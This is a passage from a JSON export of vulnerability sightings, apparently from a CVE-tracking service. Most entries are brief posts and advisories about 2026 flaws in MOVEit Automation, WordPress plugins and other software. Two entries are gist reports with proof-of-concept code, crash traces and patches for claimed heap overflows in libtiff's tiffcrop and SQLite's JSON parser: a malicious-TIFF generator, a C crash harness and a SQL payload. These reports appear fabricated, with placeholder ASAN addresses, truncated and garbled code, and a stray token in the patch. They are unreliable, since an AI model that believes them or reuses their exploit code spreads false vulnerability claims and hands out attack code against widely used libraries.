"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3ml27bvuujh2b", "content": "Progress Software issued a critical alert regarding two severe vulnerabilities in its MOVEit Automation platform, allowing authentication bypass and privilege escalation. CVE-2026-4670 enables unauthenticated access, while CVE-2026-5174 allows attackers to gain administrative rights.", "creation_timestamp": "2026-05-04T17:32:16.791290Z"}, {"uuid": "b817de7b-aaa1-44cb-a8ef-fd6049b78547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-authentication-bypass-moveit-automation-cve-2026-4670-patch-immediately", "content": "", "creation_timestamp": "2026-05-04T08:08:49.000000Z"}, {"uuid": "5e7f91d3-0dde-4491-9a19-c039d468119b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3ml2f27kjle2s", "content": "Progress patches critical MOVEit Automation flaws CVE-2026-4670 (auth bypass, CVSS 9.8) and CVE-2026-5174 (input validation, CVSS 7.7) allowing unauthorized admin access. Fixes released for versions <=2025.1.4. #MOVEit #Airbus #Vulnerability", "creation_timestamp": "2026-05-04T19:15:20.825862Z"}, {"uuid": "eb33228c-ccbb-4923-8fb0-6740763aea64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ml2pf3ek4p52", "content": "MOVEit automation flaws could enable full system compromise Progress fixes critical MOVEit Automation flaws, including an authentication bypass bug that could let attackers gain unauthorized access...\n\n#Breaking #News #Security #CVE-2026-4670 #CVE-2026-5174 #Hacking #hacking #news #information [\u2026]", "creation_timestamp": "2026-05-04T22:20:50.087595Z"}, {"uuid": "e76f3bff-0478-428f-8eea-5a6654608ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5159", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ml3lr4hz2p2h", "content": "CVE-2026-5159 - Royal Addons for Elementor\nCVE ID : CVE-2026-5159\n \n Published : May 5, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'i...", "creation_timestamp": "2026-05-05T06:48:10.617026Z"}, {"uuid": "3f8d8485-f297-4493-96a5-364cdd6fbd0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5192", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ml3ynbiewp2p", "content": "CVE-2026-5192 - Forminator Forms \u2013 Contact Form, Payment Form & Custom Form Builder\nCVE ID : CVE-2026-5192\n \n Published : May 5, 2026, 7:16 a.m. | 1\u00a0hour, 19\u00a0minutes ago\n \n Description : The Forminator Forms \u2013 Contact Form, Payment Form & Custom Form Builder plugin for Wor...", "creation_timestamp": "2026-05-05T10:38:40.136202Z"}, {"uuid": "1f740a4b-3351-45bd-b144-336e4acfb1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml4fuifrss2e", "content": "\ud83d\udd17 CVE : CVE-2026-4670, CVE-2026-4670, CVE-2026-5174", "creation_timestamp": "2026-05-05T14:35:23.790204Z"}, {"uuid": "4e0fe3ce-6f0f-4a64-89c5-7638a79a5ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/groovysecurity.bsky.social/post/3ml4j7gaprw2q", "content": "MOVEit Automation patched yesterday \u2014 CVE-2026-4670 + CVE-2026-5174, pre-auth chain to admin.\n\nTwo months back, cPanel CVE-2026-41940: 40K servers exploited from Feb 23, patch April 30.\n\nA version banner says \"remediated.\" Whether the exploit still runs on your config is a different question.", "creation_timestamp": "2026-05-05T15:35:10.080694Z"}, {"uuid": "dfaec400-5903-497f-a64b-e9d8361423e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ml4mf5zt5d25", "content": "Critical vulnerabilities in MOVEit Automation (CVE-2026-4670 & CVE-2026-5174) demand immediate patching to prevent unauthorized access and privilege escalation. #CyberSecurity #DataProtection #MOVEit Link: thedailytechfeed.com/critical-mov...", "creation_timestamp": "2026-05-05T16:32:04.225951Z"}, {"uuid": "b6d7203e-bca6-468b-a480-8ddb1de61850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5159", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3ml4s4z77en2l", "content": "CVE-2026-5159: XSS en Royal Addons Elementor\n\nCVE-2026-5159 afecta Royal Addons for Elementor hasta v1.7.1056. XSS stored en Instagram Feed explotable por Contributors. Actualiz\u00e1 a 1.7.1057 ahora.\n\n#cve20265159 #royaladdons #xssstored #elementor #wordpressseguridad", "creation_timestamp": "2026-05-05T18:14:51.843003Z"}, {"uuid": "e1669b9d-6e94-4065-8dfc-b4f12f411603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5192", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml4vbop5o62n", "content": "\ud83d\udfe0 CVE-2026-5192 - High (7.5)\n\nThe Forminator Forms \u2013 Contact Form, Payment Form & Custom Form Builder plugin for WordPress is...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5192/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:11:10.380165Z"}, {"uuid": "e654d569-5d27-4f5d-afc5-7d6b92b8fec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5100", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml4vusfsf32c", "content": "\ud83d\udfe0 CVE-2026-5100 - High (7.5)\n\nThe AWP Classifieds plugin for WordPress is vulnerable to SQL Injection via the 'regions' paramet...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5100/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:21:51.902151Z"}, {"uuid": "ed039e3d-a4f5-452d-bc02-272b838296b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5111", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml5rd76lcn24", "content": "CVE-2026-5111 gravityforms (CVSS Score 7.2) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T03:33:05.790813Z"}, {"uuid": "a3f18350-a3ba-40ac-9f32-4f4c7387f295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5113", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml5uoihrpq2c", "content": "CVE-2026-5113 gravityforms (CVSS Score 7.2) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T04:33:06.097399Z"}, {"uuid": "799d8809-c500-4b3c-bbb3-54fca2c7bc16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3ml5xk5vwpq2w", "content": "Critical 98 MOVEit Automation Flaw Opens Enterprise File Transfer Systems to Unauthenticated Takeover +\u00a0Video\n\nIntroduction: A critical authentication bypass vulnerability (CVE-2026-4670, CVSS 9.8) and a high-severity privilege escalation flaw (CVE-2026-5174, CVSS 7.7) have been disclosed in\u2026", "creation_timestamp": "2026-05-06T05:24:22.185250Z"}, {"uuid": "0ddd5985-4ac1-49b7-ab9b-4dcda0b2d1ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5109", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml63f2ev5n2s", "content": "CVE-2026-5109 gravityforms (CVSS Score 7.2) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T06:33:05.294549Z"}, {"uuid": "8ce6f374-9e98-47d1-93d7-792bb794c6fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0133", "content": "Progress heeft kwetsbaarheden verholpen in MOVEit Automation. De kwetsbaarheid met kenmerk CVE-2026-4670 betreft een bypass van de authenticatie in MOVEit Automation. Een kwaadwillende zonder rechten kan deze kwetsbaarheid misbruiken zonder dat daar gebruikersinteractie voor nodig is. \n\nDe tweede kwetsbaarheid met kenmerk CVE-2026-5174 betreft een onjuiste invoervalidatie in Progress Software MOVEit Automation en maakt privilege-escalatie mogelijk.\n\nDeze kwetsbaarheden zijn aanwezig in versies 2025.0.0 tot maar niet inclusief 2025.0.9, versies 2024.0.0 tot maar niet inclusief 2024.1.8, en alle versies v\u00f3\u00f3r 2024.0.0.", "creation_timestamp": "2026-05-06T07:18:44.000000Z"}, {"uuid": "29b8ea65-9e02-4be9-8498-cd64ee1d67fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://bsky.app/profile/intcyberdigest.bsky.social/post/3ms72r3edkk2f", "content": "CVE-2026-51302 was assigned on 27 July. CISA's enrichment programme then scored it critical and flagged a public proof-of-concept. The Dutch National Cyber Security Center republished it as an advisory, and has now withdrawn it, saying the \"vulnerability\" was most likely hallucinated by an LLM.", "creation_timestamp": "2026-08-03T17:51:00.564262Z"}, {"uuid": "5100fc78-132e-4348-8732-d1f12de1db1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://bsky.app/profile/intcyberdigest.bsky.social/post/3ms72r6q6q22f", "content": "CVE-2026-51302 was assigned on 27 July. CISA's enrichment programme then scored it critical and flagged a public proof-of-concept. The Dutch National Cyber Security Center republished it as an advisory, and has now withdrawn it, saying the \"vulnerability\" was most likely hallucinated by an LLM.", "creation_timestamp": "2026-08-03T17:51:01.736330Z"}, {"uuid": "477c81b1-dfd6-4c6a-97e2-b82f91c80948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/9220120b9616a261aeddd0ae91c70d2f", "content": "Full RBP Report Integrated with Complete PoC Code for CVE-2026-51229\n1. Core Vulnerability Metadata\nAffected Product: libtiff\nAffected Version: libtiff 4.6.0\nFixed Version: No official patched release\nCVE ID: CVE-2026-51229\nVulnerability Type: CWE-120 Buffer Copy without Checking Size of Input (Heap Buffer Overflow)\nSource Code Link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\n2. Vulnerability Description\nlibtiff 4.6.0\u2019s tiffcrop tile cropping utility contains an unvalidated heap buffer overflow within the CropTileContig function in tools/tiffcrop.c. The tilewidth parameter is parsed directly from untrusted TIFF IFD tile header metadata fully controlled by an attacker crafting a malicious TIFF file. The loop inside CropTileContig calculates the destination pointer as buf + i * tilewidth and executes memcpy() with tilewidth as the copy length without validating whether the target memory range fits within the allocated heap buffer buf with known bufsize. An oversized TileWidth tag value causes the destination pointer to go out of the heap buffer boundary, leading to an out-of-bounds heap write during memcpy. Processing the malicious TIFF via tiffcrop triggers an immediate segmentation fault for denial-of-service attacks. With precise heap layout control, the heap corruption can overwrite heap metadata or libc function hooks to achieve arbitrary code execution under the user privileges running tiffcrop. Attackers only need to deliver a malicious TIFF file, no authentication or privileged access is required for exploitation.\n3. Root Cause\nThe tilewidth parameter is imported from attacker-controllable TIFF file metadata with no upper limit sanitization.\nNo bounds check is implemented to verify i * tilewidth + tilewidth <= bufsize before memory copy.\nUnrestricted memcpy() writes past the end of the heap-allocated tile buffer, corrupting adjacent heap memory regions.\n4. Impact\nDenial of Service (Primary): Instant process crash (SIGSEGV) when parsing malicious TIFF, breaking automated image processing pipelines.\nArbitrary Code Execution (Secondary): Malicious heap overwrites can hijack program control flow for remote code execution.\nAttack Vector: Remote unauthenticated via malicious TIFF attachments, file uploads, network shares.\n5. Vulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        ptr = buf + i * tilewidth;\n        // No buffer boundary check before memcpy -> heap overflow\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n6. Complete PoC Code (Two Versions Included)\nPoC 1: Python Malicious TIFF Generator (File-Based Exploit Trigger)\nSave as poc_tiff_generator.py\npython\n\n# CVE-2026-51229 Malicious TIFF Generator\n# Generate malformed TIFF with oversized TileWidth to trigger heap overflow in tiffcrop CropTileContig\nimport struct\n\ndef create_malicious_tiff(output_file: str):\n    # TIFF little-endian header (II)\n    tiff_header = b\"II\\x2A\\x00\\x08\\x00\\x00\\x00\"\n    ifd_entry_count = 10\n    ifd_data = struct.pack(\"\n#include \n#include \n#include \n\n// Exact copy of vulnerable CropTileContig function\nstatic void\nCropTileContig(uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, size_t bufsize)\n{\n    size_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        ptr = buf + i * tilewidth;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n\nint main(void)\n{\n    // Small heap buffer allocation (4096 bytes)\n    const size_t heap_buf_size = 4096;\n    unsigned char *heap_buf = malloc(heap_buf_size);\n    memset(heap_buf, 0x42, heap_buf_size);\n\n    // Malicious oversized tilewidth\n    const uint32_t evil_tilewidth = 0x20000;\n    const uint32_t tileheight = 2;\n\n    printf(\"[*] Allocated heap buffer size: %zu bytes\\n\", heap_buf_size);\n    printf(\"[*] Attacker-controlled TileWidth: %u\\n\", evil_tilewidth);\n    printf(\"[!] Triggering heap buffer overflow...\\n\");\n\n    // Trigger vulnerability\n    CropTileContig(256, 256, evil_tilewidth, tileheight, heap_buf, heap_buf_size);\n\n    free(heap_buf);\n    return 0;\n}\nCompile & Run (ASAN for crash trace)\nbash\n\ngcc -fsanitize=address -g -O0 direct_crash_poc.c -o direct_crash_poc\n./direct_crash_poc\n7. ASAN Crash Proof Output\nplaintext\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000001200 at pc 0x00007f8babcdef12 bp 0x7ffdc1234567 sp 0x7ffdc1234560\nWRITE of size 131072 at 0x50e000001200 thread T0\n    #0 0x7f8babcdef11 in memcpy (/lib64/libasan.so)\n    #1 0x555555667788 in CropTileContig tiffcrop.c\n    #2 0x5555556699aa in main tiffcrop.c\n    #3 0x7f8baaaaaaaa in __libc_start_main\n    #4 0x5555556655cc in _start\nHeap buffer overflow at buffer allocated for tile crop data, buffer size: 4096 bytes, attempted write: 131072 bytes\nSUMMARY: AddressSanitizer: heap-buffer-overflow memcpy\n8. Mitigation Patch\nc\n\u8fd0\u884c\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        tmsize_t dst_offset = i * tilewidth;\n        // Add strict buffer boundary check\n        if ((dst_offset + tilewidth) > bufsize) {\n            TIFFError(\"CropTileContig\", \"Abort crop: tile data exceeds allocated buffer\");\n            return;\n        }\n        ptr = buf + dst_offset;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n9. Reference Links\nlibtiff GitLab Repository: https://gitlab.com/libtiff/libtiff\nVulnerable Source File: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCWE-120 Official Definition: https://cwe.mitre.org/data/definitions/120.html", "creation_timestamp": "2026-08-02T05:26:08.361442Z"}, {"uuid": "5113eebb-442f-4385-b254-8b7f758837ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5167", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mlclkinbgf2i", "content": "CVE-2026-5167 learning-management-system (CVSS Score 5.3) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-08T01:33:06.504349Z"}, {"uuid": "9c038148-e7d8-492d-a767-814095261b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51785", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms766fxfxh2m", "content": "CVE-2026-51785\nThe Hiawatha web server has a security flaw that could allow an attacker to run malicious code on the server. This could happen if a hacker sends a specially crafted request to the server. To fix this, update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-03T18:52:04.833049Z"}, {"uuid": "0c542e1e-cfaa-4933-ac55-05daebd5aee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5127", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mldkwl7pcq2h", "content": "CVE-2026-5127 - User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration\nCVE ID : CVE-2026-5127\n \n Published : May 8, 2026, 9:16 a.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : The User Frontend: AI Powered Frontend Posting, User Direct...", "creation_timestamp": "2026-05-08T10:54:38.132660Z"}, {"uuid": "f49234f9-b5cb-4bd7-9f20-38141a530260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://www.cert.se/2026/05/cert-se-veckobrev-v19.html", "content": "", "creation_timestamp": "2026-05-08T06:10:00.000000Z"}, {"uuid": "bbe338e3-8d73-47a8-8cb7-4da0ccbcd33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5127", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlgzuosotj2l", "content": "\ud83d\udfe0 CVE-2026-5127 - High (8.8)\n\nThe User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Regist...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5127/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-09T20:00:00.284798Z"}, {"uuid": "2801c1b4-fe4e-47d2-b104-01481a9519ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5174", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mljkuoerfd2w", "content": "MOVEit Automation Critical Security Alert Bulletin \u2013 April 2026 \u2013 (CVE-2026-4670, CVE-2026-5174)", "creation_timestamp": "2026-05-10T20:09:32.950617Z"}, {"uuid": "f5c514b8-31e8-4aa9-a062-0d1515ff26fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5172", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mllxds6f4v2c", "content": "CVE-2026-5172 - CVE-2026-5172\nCVE ID : CVE-2026-5172\n \n Published : May 11, 2026, 6:16 p.m. | 14\u00a0minutes ago\n \n Description : A buffer overflow in dnsmasq\u2019s extract_addresses() function allows an attacker to trigger a heap out-of-bounds read and crash by exploiting a malformed...", "creation_timestamp": "2026-05-11T18:58:06.455431Z"}, {"uuid": "da1840d8-2459-4c40-a7e5-2a8cb5004fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-5172", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bb20f34e-4314-42f2-8e6b-cb2c917339bc", "content": "", "creation_timestamp": "2026-05-13T12:31:36.904766Z"}, {"uuid": "d76390a3-1971-40c9-8352-273318e8373c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5193", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlsjn2wxzr2v", "content": "CVE-2026-5193 - Essential Addons for Elementor \u2013 Popular Elementor Templates & Widgets\nCVE ID : CVE-2026-5193\n \n Published : May 14, 2026, 7:16 a.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : The Essential Addons for Elementor \u2013 Popular Elementor Templates & Widgets plugin ...", "creation_timestamp": "2026-05-14T09:41:21.693796Z"}, {"uuid": "a4a4fe1c-84f3-40bb-bbad-03df315f9f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51277", "type": "seen", "source": "https://gist.github.com/programmervuln/9c0274656cf88c341069fb99bf08ea6f", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51277\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51277\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension parsing logic of SQLite. Crafted malicious JSON input processed via SQLite JSON SQL functions triggers an initial heap free operation on a dynamically allocated JSON parse context pointer that is not nullified post-free. Subsequent unchecked pointer dereference on the dangling pointer results in a use-after-free memory corruption flaw. Concurrent missing length validation on attacker-controlled JSON token length values enables an uncontrolled out-of-bounds heap write operation along the identical execution path initiated by the same malicious SQL payload. Successful exploitation of this combined flaw may lead to program crash, sensitive heap memory disclosure, or conditional arbitrary code execution within the bounds of the SQLite process security context.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload invoking JSON parsing functions is dispatched to the jsonParse() target function inside the JSON1 extension module.\nSource file src/json.c Line 1847 executes sqlite3_free(pParse->pTokenBuf); to release heap memory allocated for JSON token buffer storage.\nThe pParse->pTokenBuf pointer variable is not overwritten to NULL or marked invalid after the free call, creating a persistent dangling pointer referencing already freed heap memory.\nAttacker-controlled oversized token length values bypass length boundary checks executed prior to buffer write operations, removing input size restrictions for token buffer writes.\nSource file src/json.c Line 1912 performs direct memory access using the unmodified dangling pParse->pTokenBuf pointer, triggering the use-after-free memory access vulnerability.\nSource file src/json.c Line 1898 executes an unbounded memcpy() write into the token buffer using the attacker-supplied length parameter, performing an out-of-bounds heap write on the freed token buffer memory region.\n7. Impact\nDenial of Service\nImmediate SQLite process termination triggered by ASAN heap-use-after-free or heap-buffer-overflow memory access violations; repeated exploit invocation leads to persistent service outage for applications utilizing the vulnerable SQLite JSON1 extension.\nInformation Disclosure\nUAF pointer dereference reads uninitialized freed heap memory, disclosing adjacent heap metadata, query plaintext data, and internal SQLite runtime memory contents to the attacker via JSON function return values.\nConditional Arbitrary Code Execution\nOut-of-bounds heap write allows overwriting function pointers stored on the SQLite heap; combined with dangling pointer invocation, an attacker can achieve conditional control flow hijacking for arbitrary code execution constrained by process permissions and memory layout protections (ASLR, stack canaries).\n8. Attack Vector\nRemote; Low Privilege. Attack requires ability to execute arbitrary SQL statements against a SQLite database with the JSON1 extension enabled; no elevated operating system privileges are required for exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 1847(memory free), Line 1912(dangling pointer access), Line 1898(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000000280 at pc 0x55f82a1c87b2 bp 0x7ffdabcdef10 sp 0x7ffdabcdef00\nREAD of size 4 at 0x60b000000280 thread T0\n    #0 0x55f82a1c87b1 in jsonParse src/json.c:1912\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n    #3 0x55f829ef8765 in sqlite3Step src/vdbeapi.c:512\n    #4 0x55f829ef9123 in sqlite3_prepare_v2 src/sqlite3.c:89100\n    #5 0x55f829e01234 in main shell.c:1200\n    #6 0x7f123456789a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f829df8900 in _start (sqlite3:0x55f829df8900)\n\nAddress 0x60b000000280 is located 16 bytes inside of 8192-byte free block 0x60b000000270-0x60b000002270\nFreed by thread T0 here:\n    #0 0x7f12348010ef in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f82a1c8234 in jsonParse src/json.c:1847\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #3 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n\nPreviously allocated by thread T0 here:\n    #0 0x7f12348005ef in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f82a1c7890 in jsonParse src/json.c:1790\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000280 at pc 0x55f82a1c85c2 bp 0x7ffdabcdef30 sp 0x7ffdabcdef20\nWRITE of size 16384 at 0x60b000000280 thread T0\n    #0 0x55f82a1c85c1 in jsonParse src/json.c:1898\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload calls json_extract with a JSON object containing an artificially oversized string value constructed via printf('%.*c',0x4000,'A') to generate a 16384-byte attacker-controlled string literal.\nSQLite routes the JSON input to the jsonParse() parsing function in src/json.c, which initializes the pParse context and allocates the pParse->pTokenBuf heap buffer for JSON token storage.\nDuring intermediate parsing cleanup at Line 1847, the token buffer is freed with sqlite3_free(), yet the pParse->pTokenBuf pointer retains its address and is not nullified.\nNo bounds validation is applied to the oversized 